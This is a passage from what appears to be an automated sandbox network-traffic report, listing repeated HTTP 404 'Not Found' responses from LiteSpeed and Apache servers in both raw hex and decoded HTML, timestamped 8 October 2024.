6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Tue, 08 Oct 2024 14:34:55 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Tue, 08 Oct 2024 14:34:57 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Tue, 08 Oct 2024 14:35:00 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 14:35:21 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 389X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 14:35:24 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 389X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 14:35:26 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 389X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 14:35:29 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 389X-XSS-Protection: 1; mode=blockConnection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 14:35:34 GMTServer: ApacheX-Xss-Protection: 1; mode=blockReferrer-Policy: no-referrer-when-downgradeX-Content-Type-Options: nosniffX-Frame-Options: SAMEORIGINContent-Length: 196Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 14:35:37 GMTServer: ApacheX-Xss-Protection: 1; mode=blockReferrer-Policy: no-referrer-when-downgradeX-Content-Type-Options: nosniffX-Frame-Options: SAMEORIGINContent-Length: 196Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 08 Oct 2024 14:35:40 GMTServer: ApacheX-Xss-Protection: 1; mode=blockReferrer-Policy: no-referrer-when-downgradeX-Content-Type-Options: nosniffX-Frame-Options: SAMEORIGINContent-Length: 196Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
